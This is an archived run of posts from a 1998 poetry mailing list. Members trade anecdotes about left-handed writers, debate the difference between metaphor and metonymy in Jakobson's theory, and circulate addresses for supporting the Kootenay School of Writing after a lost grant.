Edmonton Alberta T6G 2E5
[redacted] FAX:[redacted]
H: [redacted]
~~~
~~~

434. **k. lederer**
Re: sinister
Wed 11 Mar 1998

I'm left-handed! And yes, so were all of the possible presidents you listed, Chris--

Of note: Though language "resides" in the right hemisphere as a general rule--this residence is split in left-handers (like a summer house and winter house)--

When left-handed people have strokes or other maladies that cause aphasia, they have a far better chance of retaining their linguistic abilities (as aphasias generally mess with one side or the other)--

Best,
Katy

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435. **MAYHEW**
sinister and gauche
Wed 11 Mar 1998

Me too! I bet a large proportion of the poetics list subscribers are "leftists"

I haven't read the scientific literature on handedness and brain hemispheres and the like, but I definitely do sense my brain working both sides of the street on language.

Jonathan Mayhew
Department of Spanish and Portuguese
University of Kansas
[redacted]

↑ Index

436. **Annie Finch**
knife, phor/nymy, Cortez
Wed 11 Mar 1998

Jonathan,
Why don't you think knife for fork is a good example of metonymy?

Waldrop's equation of metonymy with the neoclassical aesthetic surprises me since I can just as easily think of metaphor used in a cool and witty way to take emotion out of things by unexpected analogies (as in Pope) and metonymy as a

manifestation of the heated romantic mind's wandering openness to synchronistic suggestions of meaning through juxtaposition (as in Ode to a Nightingale).

Linda--another tip--I think there is an essay by Hayden Carruth from the mid-80's callled something like "Against Metaphor," explaining why he thought poems were better without it, which might be a good document of the 80's turn if that interests you.

Thanks for the inspiring report on Cortez!

Annie

Date: Tue, 10 Mar 1998 09:00:32 -0600
From: MAYHEW <[redacted]>
Subject: pomo metaphoracity

The metaphor/metonymy opposition comes from Jakobson via Lacan and deconstruction. As Maria points out, it had a lot of play in the 1980s. I remember a lot of things like metaphor is modern and metonymy is postmodern also. There was a whole sort of tropological approach to poetry--remember all those essays about catachresis? I read a book trying to demonstrate the chiasmus was the central trope of lyric poetry. A lot of this has died out or been played out to its logical conclusion. I don't see a lot of point in seeing metaphor as the opposite of any other trope, kind of like seeing cats as the opposite of dogs or oranges from apples or men from women. The Jakobson essay could be looked at with a cold hard eye, in my view: for example, I don't see that metonymy (this spelling looks wrong to me) is syntactic and horizontal. If I say "tin pan alley" instead of "popular songwriting of the 1920s" I am substituting one expression for another, not linking the two expressions syntactically. Jakobson bases his opposition on brain-impairment, aphasia. But some of this metomymies aren't really that: for example one aphasiac said knife instead of fork, but this is not a good example of metonymy in my book.

Sorry to be so pedantic so early in the morning.

Wallace Stevens has some interesting poems about metaphoracity, such as the motive for metaphor. Also along these lines William Bronk, perhaps.

Jonathan Mayhew
Department of Spanish and Portuguese
University of Kansas
[redacted]

Annie Finch
http://muohio.edu/~finchar
Assistant Professor of English/Creative Writing
Miami University
Oxford, Ohio 45220

↑ Index

437. **MAYHEW**
knife and fork
Wed 11 Mar 1998

Why is not knife for fork a good metonymy? My reasoning is as follows: metonymies and synechdoches are usually things like part for whole, whole for part, container for thing contained, cause for effect, effect for cause, etc... That is there is a connection between the two things, one substituted for another. The work "contiguity," sometimes used to describe metonymy, is misleading, because it leads Jakobson to think that "thing lying next to another thing" is a metonymy. Bacon would not be a good metonymy for eggs, for example, though it could stand in for food in general or for breakfast. The test would be if you could understand the substitution instantly. Metonymy is usually highly conventional. If someone said knife meaning fork we would be confused.

This is perhaps a pedantic distinction.

Jonathan Mayhew
Department of Spanish and Portuguese
University of Kansas
[redacted]

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438. **Hilton Manfred Obenzinger**
Re: sinister and gauche
Wed 11 Mar 1998

I too am left-handed, but neither the right nor the left half of my brain operate. I think only a small puddle of residue on the bottom keeps the whole pile burbling.

Hilton Obenzinger

↑ Index

439. Charles Watts
Re: kootenay funding
Wed 11 Mar 1998

Dear Sheila, Tom, Miekal and all:

Thanks for your wonderful words of support; thanks too to those, like Doug Barbour, who have written letters to the city of Vancouver and sent them either to City Hall or to Rob Manery. Again, Rob's e-mail address is [redacted].

If you want to make a financial contribution to the Kootenay School,
please make out your cheque (check) to the Kootenay School of Writing.
The mailing address is: Kootenay School of Writing
112 West Hastings Street
Vancouver, B.C. Canada
V6B 1G8

I've suggested to Rob to subscribe to the list so that he can answer people's questions and comments about KSW; he should be on within a day or so.

Best,

Charles Watts

E-mail: [redacted]

↑ Index

440. Henry Gould
Re: sinister and gauche
Wed 11 Mar 1998

On Wed, 11 Mar 1998 10:24:05 -0800 Hilton Manfred Obenzinger said:
>I too am left-handed, but neither the right nor the left half of my brain
>operate. I think only a small puddle of residue on the bottom keeps the
>whole pile burbling.

That's called ambidexterity. Your right hand "holds up" your brain while your left hand tries to right what's wrong with you. Just look in the mirror. You'll see naem I tahw. Righty hold-up. Lefty quick on the draw. - Genry Hould

↑ Index

441. George Thompson
Re: knife and fork
Wed 11 Mar 1998

Jonathan Mayhew's distinction is interesting, but I'm not sure I understand metonymy in the same way. I would have thought that metaphor is more

typically conventional than metonymy is [and maybe that's why pomo's started opting for metonymy? -- that's just a guess, I don't know]. Fork for knife seems like a good example of metonymy for me, even if it is confusing.

When I was a kid I hated it when my tottering old grandfather would call me by my brother's name. He also had a habit of mixing up the names of all my aunts and uncles [his own children]. A little confusing, I suppose, but basically we all understood what he meant. It was metonymy, no?

The contiguity relation is interesting. A footprint is a metonymy, a sign of the creature who left it there in the sand [think of Robinson Crusoe's first encounter with Friday's footprints].

I hope that I am not being too simple here, because I agree with Jonathan that things can get rather complicated. I was once in a classroom teaching the difference between metaphor and metonymy. As an example of the latter I found myself referring to a murder scene from, I think, one of the Godfather movies. Some gangster types sitting at a restaurant table, one of them smoking a cigarette. The hit man bursts in, all hell breaks loose, blood everywhere, bodies draped all over the place. Cut to the cigarette sitting quietly in the ash tray. Hold on it for some fifteen seconds. A typical scene we've seen over and over again I suppose [conventional?].

What's with the cigarette? I asked, hoping to get the students to see the relationship between the cigarette and the dead man, who moments ago had held it to his lips [contiguity]. Well, they got the metonymy thing right away. But they kept on going. It was also metaphorical, they insisted. They showed me in fact that there was a kind of Homeric metaphor here about the length of a man's [a gangster's] days being analogous to the length of a cigarette's very short day. Metaphor. Interesting discussion about smoke as spirit, transience of spirit, of life, of consciousness, etc. [this was before Paul Auster's movie 'Smoke", BTW]. We finally came to the collective conclusion that the fifteen second hold on the ashtray may have begun as a metonymy but it surely ended as a metaphor.

This experience drove home the point, often made in the literature on these terms, that while separating them out in theory is useful, in practice it is hard to keep them apart.

Sorry if this is long-winded. Something got into me.

GT

> *Why is not knife for fork a good metonymy? My reasoning is as follows: metonymies and synechdoches are usually things like part for whole, whole for part, container for thing contained, cause for effect, effect for cause, etc... That is there is a connection between the two things, one substituted for another. The work "contiguity," sometimes used to describe*

> *metonymy, is misleading, because it leads Jakobson to think that "thing lying next to another thing" is a metonymy. Bacon would not be a good metonymy for eggs, for example, though it could stand in for food in general or for breakfast. The test would be if you could understand the substitution instantly. Metonymy is usually highly conventional. If someone said knife meaning fork we would be confused.*
>
> *This is perhaps a pedantic distinction.*
>
> *Jonathan Mayhew*
> *Department of Spanish and Portuguese*
> *University of Kansas*
> [redacted]

↑ Index

442. Susan Schultz
Re: sinister and gauche
Wed 11 Mar 1998

I'm ambidextrous, which is the only thing I have in common with Bill Gates and Ken Griffey, Jr. Would that! I do notice that poets and athletes tend toward the sinister side. (This is _not_ to say that Gates is a poet, which my parallel structure is doing to me here.)

Susan

Susan M. Schultz
Dept. of English
1733 Donaghho Road
University of Hawai'i-Manoa
Honolulu, HI 96822

http://writing.upenn.edu/epc/authors/schultz
http://writing.upenn.edu/epc/ezines/tinfish

↑ Index

443. MAXINE CHERNOFF
Re: sinister and gauche
Wed 11 Mar 1998

Also left-handed.

Maxine Chernoff

On Wed, 11 Mar 1998, MAYHEW wrote:

> *Me too! I bet a large proportion of the poetics list subscribers are "leftists"*
>
> *I haven't read the scientific literature on handedness and brain hemispheres and the like, but I definitely do sense my brain working both sides of the street on language.*
>
> *Jonathan Mayhew*
> *Department of Spanish and Portuguese*
> *University of Kansas*
> [redacted]

↑ Index

444. Miekal And
[Fwd: Rejected posting to [redacted]]
Wed 11 Mar 1998

This is a multi-part message in MIME format.

wrote a whole post about how my granny sed lefthanded ness was a sign of the devil but somehow the rightbrain of the listserv turned it into the fwded.

by westbyserver.westby.mwt.net (8.8.7/8.8.6) with SMTP id SAA00824
for <[redacted]>; Wed, 11 Mar 1998 18:30:37 -0600 (CST)
by theta.acsu.buffalo.edu with SMTP; 12 Mar 1998 00:30:04 -0000
Date: Wed, 11 Mar 1998 19:30:04 -0500
From: "L-Soft list server at University at Buffalo (1.8c)"
<[redacted]>
Subject: Rejected posting to [redacted]
To: Miekal And <[redacted]>

LISTSERV does not allow the distribution of empty messages to a mailing list, because some users are unable to see the "Subject:" field from the original message.

---------- Rejected message (17 lines) ---------- by listserv.acsu.buffalo.edu with SMTP; 12 Mar 1998 00:30:03 -0000 by westbyserver.westby.mwt.net (8.8.7/8.8.6) with SMTP id SAA29025 for <[redacted]>; Wed, 11 Mar 1998 18:16:37 -0600 (CST) Date: Wed, 11 Mar 1998 18:18:44 +0000 From: Miekal And <[redacted]> To: UB Poetics discussion group <[redacted]> Subject: Re: sinister and gauche References: <[redacted]>

----------45FA7532532--

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445. **Maz881**
Re: The Kootenay School of Writing
Wed 11 Mar 1998

It's a terrible thing for KSW not to get that grant. It's a vital space for a bunch of hard working free-radically inclined good folks.

What can we do? During my recent trip there I did hear that certain items were for sale and that they are gorgeous. All real looking. Good enough to fool any corporate HR manager or academic dean. They are KSW sheepskins.

The following KSW degrees are still available:

BA : a dime a dozen plus $10 for photocopying
Hons BA: $15
MA : $2n
PhD : $50
Honorary PhD : $100

I'm going for the Phd myself and I urge you all to do so as well. And I'll give you a tip on how to use it since I'm such a generous guy (I hear there's an opening at Temple).

Send away for your degree today at the address indicated below.

Sincerely,

Bill Luoma

Date: Mon, 9 Mar 1998 17:01:09 -0800
From: Susan Clark <[redacted]>
Subject: The Kootenay School of Writing

Hello all,

Thanks for your messages of support for the Kootenay School. They are much appreciated.

The address of the Kootenay School is:
The Kootenay School,
112 West Hastings Street,
Vancouver BC
V6B 1G8 [v6b 1g8] CANADA

** note of US $ cheques : Because the School has no US$ bank account and exchange and bank charges will be heavy on small cheques, US$ cheques/checks should be made out RADDLE MOON and flagged "for KSW" on the memo line. RM will deposit them in our US$ account and pay KSW the exchange on the

amount from our Cdn$ chequing account. These cheques can be sent to RM at 518-350 East Second Avenue, Vancouver, BC V5T 4R8 or to the School.

.... Otherwise: money orders or book donations [thanks, Miekal] can be sent directly to the School.

Letters of support are also welcome. Writers of letters should please remember that the mandate of the City of Vancouver is to look out for **local** orgs and audiences, and should slant their letters accordingly. To say that Vancouver is internationally renown as a centre for leading edge [buzz words are fine in bureaucratic circles!] poetries is good but better to say what this might mean for the city, and for local audiences.... Not to put words in anyone's mouth.

Letters should be addressed to :

Beverly Yahp
City of Vancouver
Office of Cultural Affairs
250 West Heritage Bldg City Sqare, Box 96,
555 West 12th Avenue
Vancouver BC
V5Z 3X7 CANADA

with cc: KSW at the address above for safety's sake [misfiling and all, you know]. Or email [second best option] the school at [redacted] and we can print out and fwd.

Thanks again for your support -- apologies for any duplication of Charles' post which I haven't read completely [have been out of town for a couple of days and am wading through email backlog] I wanted to get the address to those people asking.

Please email me if you have questions.

good wishes,

Susan

Susan Clark
RADDLE MOON
[redacted]

↑ Index

446. William Burmeister Prod
It's getting betta
Wed 11 Mar 1998

Hey there listservfolks in quiet listcountry, another of our very own has a poem featured in the APR (This in the latest edition). It's Chris Stroffolino on the back cover with his (nice) poem "Lingua Franca." I believe Ray DiPalma was in the previous issue or so.

William Burmeister

↑ Index

447. Elizabeth Hatmaker
Re: sinister and gauche
Wed 11 Mar 1998

I'm a lefty as well. In my formative years, I used to write to the midpoint of a page with my left hand and then switch. Same with coloring, etc.

E. Hatmaker

↑ Index

448. Patrick F. Durgin
Re: knife and fork
Wed 11 Mar 1998

George's point points to a belief I've long held, that is that, Metonymy, by virtue of its drifting into Metaphor consistently in practice, is a sub-set of Metaphor, like the simile. Get it?

Patrick F. Durgin

`
`
`
` ----->*<-----
` K E N N I N G|
` anewsletterof|
` poetry&poetic|
` s418BrownSt.#|
` 10IowaCityIA5|
` 2245USA\/\/\/|

On Wed, 11 Mar 1998, George Thompson wrote:

> *Jonathan Mayhew's distinction is interesting, but I'm not sure I understand metonymy in the same way. I would have thought that metaphor is more*

typically conventional than metonymy is [and maybe that's why pomo's started opting for metonymy? -- that's just a guess, I don't know]. Fork for knife seems like a good example of metonymy for me, even if it is confusing.

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Sorry if this is long-winded. Something got into me.

GT

> *Why is not knife for fork a good metonymy? My reasoning is as follows: metonymies and synechdoches are usually things like part for whole, whole for part, container for thing contained, cause for effect, effect for cause, etc... That is there is a connection between the two things, one substituted for another. The work "contiguity," sometimes used to describe metonymy, is misleading, because it leads Jakobson to think that "thing lying next to another thing" is a metonymy. Bacon would not be a good metonymy for eggs, for example, though it could stand in for food in general or for breakfast. The test would be if you could understand the substitution instantly. Metonymy is usually highly conventional. If someone said knife meaning fork we would be confused.*
>
> *This is perhaps a pedantic distinction.*
>
> *Jonathan Mayhew*
> *Department of Spanish and Portuguese*
> *University of Kansas*
> [redacted]

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449. **MAYHEW**
metonymy
Wed 11 Mar 1998

I suppose my definition (of metonymy) is more classically based, that is based on actual metonomies used in language. These are mostly conventional, e.g.:

"the suits" for the upper management (clothing for the men wearing it) "wall street" for the financial industry (place for the activity there) "thirty sails" for thirty ships (part for whole [synechdoche]) "I drank two glasses" (container for thing contained, material for object made of this material) "the pentagon" (shape for building made in this shape, building for department housed there) "Hey, slim" (characteristic of person in place of person's name)

etc...

The use of the word metonymy to refer to a narrative detail (a character's cigarette) is the result of a wider application of the term in Jakobson's essay and the influence of this essay on literary critics. Jakobson's contention that realist novels were metonymical, for example, did not mean necessarily that there were filled with the figure of metonymy, but that they work in a way ANALOGOUS to metonymy, by exploiting relations of contiguity. This, I would contend, is a metaphorical extension of the original concept of metonymy as a

trope--though a metaphorical extension that has gained wide acceptance, so much acceptance that I don't think it wise to press the point. I don't believe that metonymy is a syntagmatic operation, however; this is also a metaphorization of the figure of metonymy (one word is connected to another word just as a knife is lying next to a fork).

metonymy ="a naming instead," substituting a noun for some other noun or adjective connected to it in some way.

Jonathan Mayhew
Department of Spanish and Portuguese
University of Kansas
[redacted]

↑ Index

450. Mark Baker
Re: sinister and gauche
Wed 11 Mar 1998

Lefties write good poetry, but never the poetry of old age. A psych prof at UBC for years attended readings at the Kootenay School, noticed the absence of aged lefties, then published his research proving that lefties die young. Sophocles, a righty, wrote that to have been born leftie was next best to never having been born.

Who was the Blue Jays' first first baseman who threw left
but batted right? Noticeable hitch in his swing.
What a LANGUAGE poet he would've been.

Mark Baker

↑ Index

451. George Bowering
Re: sinister
Wed 11 Mar 1998

> *Well, i'm left handed. curious about others (ashbery is; my two least favorite beatles are, hendrix. during the 1992 pres. debates i was SHOCKED to see Clinton, Bush and Perot writing with their left hands. Is this true?*

Not only them, but also Reagan.

George Bowering.
,
2499 West 37th Ave.,

Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]

↑ Index

452. **George Bowering**
Re: sinister
Wed 11 Mar 1998

> *When left-handed people have strokes or other maladies that cause aphasia, they have a far better chance of retaining their linguistic abilities (as aphasias generally mess with one side or the other)--*
>
> *Best,*
> *Katy*

Not only that (and the discovery was made at McGill Univ., by the way), but right-handed people from left-handed families have a better chance that ordinary righthanders, though not as good as lefthanders. Fortunately, my sister, my brother and my daughter are lefthanded. My wife also comes from a left-handed family, though she is righthanded.

Roy Miki the poet/critic is lefthanded.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]

↑ Index

453. **George Bowering**
Re: sinister and gauche
Wed 11 Mar 1998

Well, Stan Persky is a leftist in all regards, and he'd better watch out. He is well into muddle age.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]

↑ Index

454. **Maria Damon**
Re: sinister
Wed 11 Mar 1998

---

i'm a dyed in the wool lefthander too, and i'm glad to know i've got a chance of surviving aphasia with my yakking abilities unphased; the best news i've gotten in aa while.

At 11:00 AM -0600 3/11/98, k. lederer wrote:
>I'm left-handed! And yes, so were all of the possible presidents you
>listed, Chris--
>
>Of note: Though language "resides" in the right hemisphere as a general
>rule--this residence is split in left-handers (like a summer house and
>winter house)--
>
>When left-handed people have strokes or other maladies that cause aphasia,
>they have a far better chance of retaining their linguistic abilities (as
>aphasias generally mess with one side or the other)--
>
>Best,
>Katy

↑ Index

455. **ScoutEW**
left ee's
Wed 11 Mar 1998

My twin sister Tanya is a lefty, and I am a righty
Both my grandmothers are left-handed, is this inerited down the female line?

↑ Index

456. **linda russo**
metaphoracity redux
Wed 11 Mar 1998

---

boy, this sure has drifted from my initial inquiry. I'm aware of the metaphor/metonymy distinction. Perhaps there is no answer to my q. as there is no essay that tells me exactly what i want to know! which is (to rephrase) I'm wondering

if anyone's written abt. post-metaphoric "political" poetry -- specifically abt. the absence of metaphor.

as John Berger writes in _A Painter of Our Time_ (and I paraphrase) a poet Yannos used pigeons as a symbol of the revolutionaries' spirits after they were slaughtered in a square when upon the gunshots these pigeons flew off the window sills where they routinely sat; John remarked they had returned peacefully the next day, and said "the only image for man fighting is man" [double sic]

it seems that some postmodern poetry disregards metaphor FOR political reasons -- i'm wondering abt. this distinction.

↑ Index

457. linda russo
Re: Hilda Morley
Wed 11 Mar 1998

---

i too love hilda morley whom i only recently "discovered"
wondering who had been hiding her from me. please do tell her so if
possible.

↑ Index

458. Dean Taciuch
Re: metonymy
Wed 11 Mar 1998

It's been awhile since I've read Jakobson on metaphor/metonymy, but I recall a comment to the effect that metonymy yielded less easily to analysis. Metonymy has always seemed the slippery trope, less "conventional: perhaps than metaphor. But as others have pointed out, making distinctions in actual usage is difficult--the cigarette example from George Thompson, for example, seems to me to function as both metaphor and metonym. I recall analyzing a number of Edward Taylor's religious poems this way--to unpack many of the images, one had to look at them metaphorically (often the leap from secular to spiritual) and metonymically (once he got to the spritual level, he could substitute freely, often metonymically, there). The images sound irrational at first (the only example I can think of offhand, amd its been a very long time since I've read these poems) is "wicker cage of rusted wire" to refer to the mortal body. I see metaphor there, in the substitution of cage for body which holds the soul, but wicker and wire is not a methaphorical substitution, and seems to me a metomyn, though not a conventional one (part for whole, container for thing contained, etc). Like substituting "knife" for "fork" . . .?

Dean

↑ Index

459. **Roger Farr**
Re: sinister
Wed 11 Mar 1998

Phyllis Webb, Canada's greatest living poet, started a book in the 70's called "The Left-Handed Poems", but it was never published. See her "Kropotkin Poems" in "Wilson's Bowl" for a few ref.'s to left-handedness and poetry . . .

Roger

↑ Index

460. **david bromige**
Sinister & Gauche
Wed 11 Mar 1998

It's like many of us share the same firm of attorneys. Mark Baker's post worries me, though. In my sixties, mainly a leftie, & still trying to write? who am I fooling? On the other hand (groan), it's only this one UBC professor says so. I took psych at UBC and they lost my final -- gues their left hand didnt know what their right hand was doing! It was lucky for me : they had to give me a passing grade (just 50%), but it was a saturday a.m. class which I hardly ever made, (btw, the only person I knew whose notes I could borrow was also, I believe, a leftie) so I would likely have failed, had they found it.

Like others who have testified, I can be ambidextrous, if you have the time to spare.

Other leftie writers I've noticed : Cydney Chadwick, Cole Swensen. I used to have memorized dozens more, but the names are wandering through the blackberry patches in one of the lobes of my brain, browsing but hidden from view. My father was born a leftie, but it was the 19th C and he was beaten until he surrendered. He had admirable, copperplate handwriting with, of course, his right hand. (But he dealt cards with the left). My wife is a leftie, so natch our daughter is. We guys should team up and demand some rights (ouch). Back in the liberal 70s, we all of a sudden had lefthanded chair armrests for LH notetakers. By the Reagan era, these had all vanished. Stolen by LH students? I doubt it. Stowed on campus somewhere, taking up space but preventing Sonoma State from being thought bleeding heart? We should all lean on Bill for some breaks while he can still sign something official with his left hand.

While it's really interesting to me to learn who is and who isnt, I feel a bit frivolous when so much heavy stuff is going down. The McCaffery news was exhausting, not the least for being like a saturday matinee for kids, with evil Temple

being foiled at the last minute by noble York--thanks to the perspicacity of our hero. I am so glad for Steve that that deal came through, and I echo Doug Barbour's sentiments re-its being good for Canada in general and Toronto in particular. But still, a huge disappointment for people in Philly. And what a way to treat a genius! Or any human being.

News re the Kootenay School is sad and frustrating also; lets hope there can be a happy ending there. I'm writing my letters tonight, Charles Watts; good to see your energy on the List. I dont know whether the KSW is still able to grant advanced degrees for a consideration; as I recall, a doctorate cost CAN$50. I myself would like an Hon. D. Litt. Also, I refer KSWers to my repeated posts about yard sales as sources of funds for such organizations. If writing to city council persons (too bad Jenny Shaw didnt win election to that body!), shouldnt one suggest that all one has heard about their fair city has made it likely that one will shortly be re-locating thither? And in due course, voting there?

I heard that lefties are more literal-minded than the other camp. Seems to me there's a part missing in that rumor. But what is it makes one susceptible to the possibility of nonsense turning meaningful? E.g. If youre knife to me, we can have a spoon and maybe even a fork. Is that a syntagmic chain?

Charles Simic has a fine poem about a fork. I think it's in _Dismantling the Silence_ . Oh, is that the time? Must dash-- David .

↑ Index

461. Susan Clark
Re: sinister
Wed 11 Mar 1998

I once worked in a company where the whole art department and a lot of the editorial department -- most of them poets -- were left-handed.

So, register me -- the only left-hander in my family [when it's not genetic it's birth trauma they say] and Michael Gregson (Cdn mock-epicist), Lewis Carroll, Jean Genet and Pres.s Gerald Ford, Hoover and Garfield, too, if I remember correctly -- scary, isn't it? a sinisterly run country to be sure... (Harry Truman wrote right-handed but threw southpaw)

Keep the KSW support coming: the lives of untold birth-traumatized maladroit poets are at stake.

Susan

Susan Clark
RADDLE MOON

Vancouver BC
[redacted]

↑ Index

462. Maria Damon
Re: sinister
Wed 11 Mar 1998

At 3:26 PM -0800 3/11/98, Roger Farr wrote:
>Phyllis Webb, Canada's greatest living
>Roger

wow, never heard of her; is this a general consensus? tell me more, if this isn't too elementary and boring for everyone else on the list.--md

↑ Index

463. Bob Grumman
Re: sinister and gauche
Wed 11 Mar 1998

This is a multi-part message in MIME format.

Okay, I've just added another box to my survey at Comprepoetica, for handedness. NOW will you guys send me biographical information?

Actually, I DO think the handedness, eye-color, height, etc., of people in various vocations are interesting. I wonder if there's a difference in handedness between lonaguage poets and mainstream poets, or between language poets and visual poets, or between visual and mainstream poets. Or between literary critics and poets.

I'm right-handed, by the way.

--Bob G.

Bob Grumman

[redacted] http://www.geocities.com/SoHo/Cafe/1492

Comprepoetica, the Poetry-Data-Collection Site

----------6F0467FE340A--

↑ Index

464. **Taylor Brady**
Re: knife and fork
Wed 11 Mar 1998

I'd say rather that there's a fractional dimension between metaphor and metonymy -- i.e., that either one of these terms is always (?) encountered in the process of being folded over into the other. Jakobson is actually quite suggestive on this, and much less rigidly schematic than many current "readings" give him credit for:

". . . the new doctrine rejects the absolute character of time, and therefore the existence of 'world' time as well. Every identical self-moving system has its own time; the speed of time-flow is not identical in each system" ("Futurism").

[Contiguity (i.e., the temporal series) becomes substitution -- one can name and know the "self-moving system" as a characterizable whole. This, in turn depends upon the (metonymic) serialization of a range of such systems, articulated against the (again metaphoric) totality of "world" time.]

". . . shifting and change are not only historical statements . . . but . . . shift is also a directly experienced synchronic pheonmenon, a relevant artistic value" ("The Dominant").

"What is the empirical linguistic criterion of the poetic function? . . . To answer this question we must recall the two basic modes of arrangement used in verbal behavior, selection and combination. . . . [S]election is produced on the basis of equivalence, similarity and dissimilarity, synonymy and antonymy, while the combination, the build-up of the sequence, is based on contiguity. The poetic function projects the principle of equivalence from the axis of selection into the axis of combination. Equivalence is promoted to the constitutive device of the sequence" ("Linguistics and Poetics").

[Both the becoming-metaphor of metonymy, and the becoming-metonymy of metaphor. Of course, this is a matter of the "poetic function," so one might argue that this disposition of linguistic space around two dimensions (Jakobson frequently refers to the metonymic axis as "horizontal" and the metaphoric as "vertical") and the fraction of a third in which these integer dimensions fold / evolve / involve toward each other -- (long sentence) that this disposition is simply a matter of aesthetic distance from or distortion of everyday language. I'd argue, myself, that the "poetic function" is at least as much a matter of reading as it is the aesthetic intent of a writer.]

". . . a linguist deaf to the poetic function of language and a literary scholar indifferent to linguistic problems and unconversant with linguistic methods are equally flagrant anachronisms" (ibid).

[Here Jakobson seems to allow for the possibility of what I've written above. In other words, the sort of absolute distinction between poetic and everyday language which is the result of a certain canonical reading of Jakobson's work might be itself simply the product of a too-stringent disciplinarity -- one which Jakobson himself felt (in 1958) to be already obsolete. This is not necessarily an attempt to liquidate the difference between, say, poetry and headlines (though one might read Shklovsky for productive suggestions in this direction), but more the claim that such differences are not so categorical as we might think, depending for their maintenance on more "conjunctural" (or even conjectural) complexes of attention and intention on the part of writers and readers (and publishers and printers, etc.). This understanding of linguistic space as 2.n-dimensional -- a space of partial differences and partial correspondences -- allows one to envision a possibility for the work of verbal art other than that of the "conduit metaphor" which Jakobson himself finally and infamously gives himself over to. (For better critiques of this organizing metaphor than mine, see Barrett Watten, "The Conduit of Communication in Everyday Life" (Aerial 8), and Michael Reddy, "The Conduit Metaphor," cited therein). Rather than the two-dimensional narrative of composition -- i.e., the poet converts a (metonymic) historical / factical time-sequence into a (metaphoric) literary artifact, which is then metonymically "unpacked" into a reader's physical and historical time of reading -- one arrives at a sense of language-objects which are always already cross-cut by time, which is itself scored with / by words. Vertiginous and often frightening, but (I think) better suited to an accurate sense of what poetry -- both as and as apart from language -- might do. Sadly, I'd count myself among the population of the second half of Jakobson's anachronism -- not indifferent, but certainly unconversant].

To vastly oversimplify, one might read "language" or even "life" for "poetry" in the following passage, also from "Linguistics and Poetics":

". . . anything sequent is a simile. In poetry, where similarity is superinduced upon contiguity, any metonymy is slightly metaphoric and any metaphor has a metonymic tint."

A final tangent: I seem to remember reading something in which various Romantic / Decadent / early Modernist orientations toward the problematics of the sublime and / vs. the beautiful were aligned with "sets" toward these Jakobsonian axes of selection and combination. The beautiful, I think, was horizontal and combinatory (metonymic -- it had something to do with the guy in Pater's The Renaissance who preferred fondling sculpture to looking at it), while the sublime was vertical and singular (selected / selective) -- think of Ruskin's Gothic cathedral, which is always aspiring toward that which it cannot yet (ever) be. Interesting, if a bit overly-schematic. Anyone have any idea who might have written this?

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http://writing.upenn.edu/AandL/english/pubs/spc/cartograffiti

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Patrick F. Durgin wrote:

> *George's point points to a belief I've long held, that is that, Metonymy, by virtue of its drifting into Metaphor consistently in practice, is a sub-set of Metaphor, like the simile. Get it?*
>
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>
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> `
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> ` *K E N N I N G|*
> ` *anewsletterof|*
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This experience drove home the point, often made in the literature on these terms, that while separating them out in theory is useful, in practice it is hard to keep them apart.

Sorry if this is long-winded. Something got into me.

GT

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<P>`

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` ----->*<-----

` K E N N I N G|

` anewsletterof|

` poetry&poetic|

` s418BrownSt.#|

` 10IowaCityIA5|

` 2245USA\/\/\/|

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> >Department of Spanish and Portuguese

> >University of Kansas

> >[redacted]

> >[redacted]

</BLOCKQUOTE>
 </HTML>

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↑ Index

465. **Thomas Bell**
Re: pomo metaphoracity
Wed 11 Mar 1998

I've asked this before here without much response so i'll ask again. What does 'parataxis' mean in literary circles? Psychologically it has a sense that i think is now pretty much limited to Harry Sullivan's works where it means prelogical or non-verbal action tendencies. It could, by extension, be applied in other 'systems' but I like the more delimited formulation and i think it works better in that framework. tom bell

At 08:00 AM 3/11/98 EST, henry gould wrote:
>On Tue, 10 Mar 1998 18:57:46 -0500 Steven Marks said:
>>Rosmarie Waldrop speaks to this in her essay, "Form and Discontent," in
>>the fall/winter '96 issue of Diacritics. She speaks, among many other
>>things, of Olson referring to the vertical tendency of metaphor as "the
>>suck of symbol." Waldrop: "Metaphor as a hotline to transcendence, to
>>divine meaning, which casts the poet in the role of a special being, a
>>priest or prophet." In short, Romanticism. On metonymy: "composition and
>>syntax," "stess on how the elements were combined on the surface, how they
>>sat next to each other on the page, how they followed each other in the
>>theater." Or, "the Neoclassical aesthetic."
>
>I also agree with George Thompson. I think Rosmarie Waldrop's piece is only
>one among a great many which used this opposition to defend (sort of
>after-the-fact) the whole stream of open, experimental, documentary
>poetics stemming mainly from Pound, and also to support what is seen as
>a feminist, secular, "anti-logocentric" worldview. It is a simple fact
>that 20th century poetry explores whole new regions via metonymy, parataxis,
>and collage, so it is understandable that people would remark on the
>special resources of these aspects of language use. But this idea that
>metaphor rather than metonymy can be put to vatic, religious use - that one
>is sacred, the other secular - is there any evidence of this?
>Or is Waldrop's real target the attempt to provide any single, stable
>"meaning" in poetry?
>
>The Russian Formalists sort of codified these two axes of composition
>in poetry, and various poets have been drawn to their theories
>for technical explanations of what they're doing. As I've said
>before here & have tried to point out in a couple web essays (in
>Mudlark & in a response to Joe Brennan in Flashpoint), I prefer the
>theories of one of the Formalists' percursors and antagonists, A.
>Potebnia. Potebnia emphasized that words have an "inner form" or
>"inner image" - psychological, etymological, symbolic. Actually not
>a single image - words are concentrated sources, via this inner form,
>of infinite meanings. Poetry is not analyzable simply on a R. Formalist
>grid or axis of metaphor/metonymy, because the inner form of the word
>per se is always generating new clusters of meaning & effect. Potebnia
>as you might guess shows some kinship with the ideas of Annensky and
>Mandelstam, in particular.
>
>I'm not a scholar myself & admit these are hunches rather
>than researches, but they're useful orientations for me anyway.

>- Henry Gould
>
>

↑ Index

466. **Thomas Bell**
Re: sinister and gauche
Wed 11 Mar 1998

I write right and draw left poetry depends on where i'm coming from.
i right write and draw to an inside
straight
tom bell

Bob, you can add to my bio?

At 08:45 PM 3/11/98 -0500, Bob Grumman wrote:
>Okay, I've just added another box to my survey at Comprepoetica, for
>handedness. NOW will you guys send me biographical information?
>
>Actually, I DO think the handedness, eye-color, height, etc., of people
>in various vocations are interesting. I wonder if there's a difference
>in handedness between lonaguage poets and mainstream poets, or between
>language poets and visual poets, or between visual and mainstream poets.
>Or between literary critics and poets.
>
>I'm right-handed, by the way.
>
> --Bob G.
>Bob Grumman
>
>[redacted] http://www.geocities.com/SoHo/Cafe/1492
>
> Comprepoetica, the Poetry-Data-Collection Site
>
>
>
>

